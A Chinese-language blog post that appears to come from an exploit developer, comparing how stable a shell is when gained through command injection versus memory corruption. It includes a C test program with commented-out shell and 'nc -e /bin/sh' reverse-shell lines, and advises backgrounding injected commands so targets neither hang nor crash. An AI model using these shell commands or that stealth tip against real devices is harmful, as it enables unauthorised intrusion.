Getshell稳定:命令注入 > 内存破坏

不要瞧不起命令注入,因为你不得不承认,命令注入型漏洞就是要比内存破坏型漏洞要稳。在实际的攻击中,我们发现的漏洞代码的运行实体可能是单蹦儿的一个进程,也可能是某个进程的一个线程。如果攻击发生在某个线程中,对其他线程,以及线程所属的进程会不有影响呢?在这种情况下,内存破坏漏洞的表现怎么样呢?

使用如下测试代码,每次可以打开其中一个注释:

➜  gcc test.c -lpthread -o test && ./test
#include <stdio.h>
#include <pthread.h>
#include <unistd.h>
#include <stdlib.h>

void *thread1(void *arg){
//    system("/bin/sh");
//    system("/bin/sh &");
//    system("nc -e /bin/sh 127.0.0.1 8888");
//    system("nc -e /bin/sh 127.0.0.1 8888 &")
    while(1){
        printf("thread1         is running\n");
        sleep(1);
    }
}

void *thread2(void *arg){
//    execve("/bin/sh",NULL,NULL);
    while(1){
        printf("thread2         is running\n");
        sleep(1);
    }
}

int main(){
    getchar();
    pthread_t thid1,thid2;
    pthread_create(&thid1,NULL,(void*)thread1,NULL);
    pthread_create(&thid2,NULL,(void*)thread2,NULL);
//    int a = *(int *)0;
    while(1){
        printf("main thread     is running\n");
        sleep(1);
    }
    return 0;
}
  1. 内存破坏无论发生在哪个线程中,若触发SIGSEGV,整个进程就会崩溃,并且一般程序不会注册SIGSEGV的信号处理函数
  2. system函数命令注入,可能会使得被攻击的线程卡住,其他线程正常运行,因为system函数会等待其执行命令的返回。

在实际攻击中,我们发现用命令注入的漏洞攻击某设备的某个进程,无论我的exp是否有失误,设备不用重启,漏洞进程不会被打崩溃,也不会卡死。(这事在Web手看起来不是理所当然的么!)

至于原因当然和Web手攻击的情景是一样的,就像apache,会为连进来的请求建立新的进程。或者像CTF中Pwn题的部署方式,即socat和xinetd。分析发现,我们的每次攻击都是在目标进程新启动的线程中触发的,所以大不了就是这个线程卡死,再次攻击又是一个新的线程。并且开发在写线程的时候,为的就是卡死没事,这种情景在网络数据处理的时候会很常见。所以为了避免system函数卡死,拼接进去的命令注入可以让其在后台运行(&),这样system函数即可马上返回,也不影响被攻击的线程。

但是如果漏洞类型是内存破坏漏洞,即使他出现在某个线程里,只要你稍不留神,触发了SIGSEGV,整个进程就完蛋了。如果该进程没有守护进程让他再次等待被你攻击,那也就只有重启设备了。